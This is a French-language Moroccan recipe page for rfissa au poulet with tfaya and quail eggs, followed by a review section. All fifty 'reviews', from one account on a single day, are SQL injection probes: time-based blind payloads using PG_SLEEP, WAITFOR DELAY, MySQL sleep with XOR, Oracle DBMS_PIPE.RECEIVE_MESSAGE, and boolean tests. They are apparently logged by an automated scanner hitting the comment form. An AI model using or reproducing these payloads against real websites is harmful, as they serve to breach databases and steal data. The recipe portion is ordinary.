+212 5233-52507

Rfissa Au Poulet Avec Tfaya Et Oeufs De Caille

RFISSA AU POULET AVEC TFAYA ET OEUFS DE CAILLE

Ingrédients

  • 1 poulet de 2 kg.
  • 3 oignons hachés.
  • 1 petit bouquet de persil.
  • 1 c. à soupe de beurre rance (s’men).
  • 1 c à c de ras elhanout.
  • safran pilé.
  • 4 à 5 gousse d ail râpé.
  • 1/2 bol de lentilles.
  • 1/2 verre d’huile d’olive.
  • sel.
  • d’eau.

Pour servir

  • Msemen ou rghayef.
  • 1 c. à café de smen.
  • Amande frit.

Pour tfaya

  • 1/2kg d’oignon émincé finement.
  • 1 petit verre d’eau.
  • 1/2 verre d’eau de fleur d’oranger.
  • 1 bâtonnet de cannelle.
  • 2 càc de cannelle en poudre.
  • 250 g abricot sec trempé.
  • 200 g de sucre.
  • 100 g de beurre.
  • oeufs de caille poché.

Préparation

Dans un saladier, mettre les épices, l’oignon et un petit verre d’eau et faire mariner le poulet pendant 1 h. Mettre le poulet et la marinade dans une marmite sur feu doux, et les faire revenir pendant 5 mn. Ajouter le bouquet de persil, les lentilles et mouiller avec l’eau. Après ébullition, baisser le feu et laisser mijoter jusqu’à cuisson du poulet.

Dans une casserole porter a ébullition l’eau, les oignons et le bâtonnet de cannelle, sans oublié de revenir de temps a autre, a mi cuisson des oignons, ajouter abricot sec,sans cesser de revenir,kan c’est cuit ajouter la cannelle,eau de fleur d’oranger ,100g de beurre,le sucre et faite revenir sur feu doux jusqu’à complète évaporation d’eau.

Mettre les rghayef dans le haut du couscoussier pour les ouvrir à la vapeur (vous pouvez ne pas faire). Les disposer ensuite dans un plat de service, Couper les rghayef en petit morceau, et déposer dessus le poulet puis arroser le tout avec le bouillon. On mit de tfaya et d’amande frits et oeufs de caille.

Se Connecter pour publier un avis

Avis (50)

- 7 juillet 2024 à 13:43:30 -

lxbfYeaa lxbfYeaa

555cTpbwccQ' OR 42=(SELECT 42 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:43:00 -

lxbfYeaa lxbfYeaa

555-1 OR 735=(SELECT 735 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:35:31 -

lxbfYeaa lxbfYeaa

555-1 OR 956=(SELECT 956 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:44:11 -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 12:35:57 -

lxbfYeaa lxbfYeaa

555-1)) OR 502=(SELECT 502 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:36:09 -

lxbfYeaa lxbfYeaa

555ozHvk8OR' OR 760=(SELECT 760 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:33:38 -

lxbfYeaa lxbfYeaa

-1 OR 2+920-920-1=0+0+0+1
- 7 juillet 2024 à 13:42:19 -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:41:11 -

lxbfYeaa lxbfYeaa

555JNVRQAwT
- 7 juillet 2024 à 12:33:37 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:34:03 -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 13:41:24 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:36:21 -

lxbfYeaa lxbfYeaa

555JARohDDV') OR 953=(SELECT 953 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:37:00 -

lxbfYeaa lxbfYeaa

@@XRHYp
- 7 juillet 2024 à 12:33:39 -

lxbfYeaa lxbfYeaa

-1 OR 3+920-920-1=0+0+0+1
- 7 juillet 2024 à 13:43:51 -

lxbfYeaa lxbfYeaa

555kcRufDQF')) OR 329=(SELECT 329 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:33:23 -

lxbfYeaa lxbfYeaa

555qzLU5Ndk
- 7 juillet 2024 à 13:43:41 -

lxbfYeaa lxbfYeaa

555K33sD8Lw') OR 170=(SELECT 170 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:42:40 -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:41:24 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 13:41:25 -

lxbfYeaa lxbfYeaa

-1 OR 3+484-484-1=0+0+0+1
- 7 juillet 2024 à 12:33:37 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:34:53 -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:36:46 -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 13:44:01 -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 12:35:06 -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:36:59 -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 13:44:13 -

lxbfYeaa lxbfYeaa

@@3RTRo
- 7 juillet 2024 à 13:41:23 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:36:59 -

lxbfYeaa lxbfYeaa

555'"
- 7 juillet 2024 à 13:41:25 -

lxbfYeaa lxbfYeaa

-1 OR 2+484-484-1=0+0+0+1
- 7 juillet 2024 à 13:41:58 -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 12:33:37 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:34:15 -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 12:34:41 -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:34:28 -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 12:35:19 -

lxbfYeaa lxbfYeaa

555OMRLT0xd'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:36:34 -

lxbfYeaa lxbfYeaa

555ekrMk1OR')) OR 691=(SELECT 691 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:47 -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 13:42:08 -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 13:42:29 -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:33:50 -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 13:43:20 -

lxbfYeaa lxbfYeaa

555-1)) OR 17=(SELECT 17 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:43:10 -

lxbfYeaa lxbfYeaa

555-1) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:41:36 -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 13:42:49 -

lxbfYeaa lxbfYeaa

555DbJ9V9Up'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:44:12 -

lxbfYeaa lxbfYeaa

555'"
- 7 juillet 2024 à 13:41:24 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:33:38 -

lxbfYeaa lxbfYeaa

555*1
- 7 juillet 2024 à 12:35:44 -

lxbfYeaa lxbfYeaa

555-1) OR 963=(SELECT 963 FROM PG_SLEEP(15))--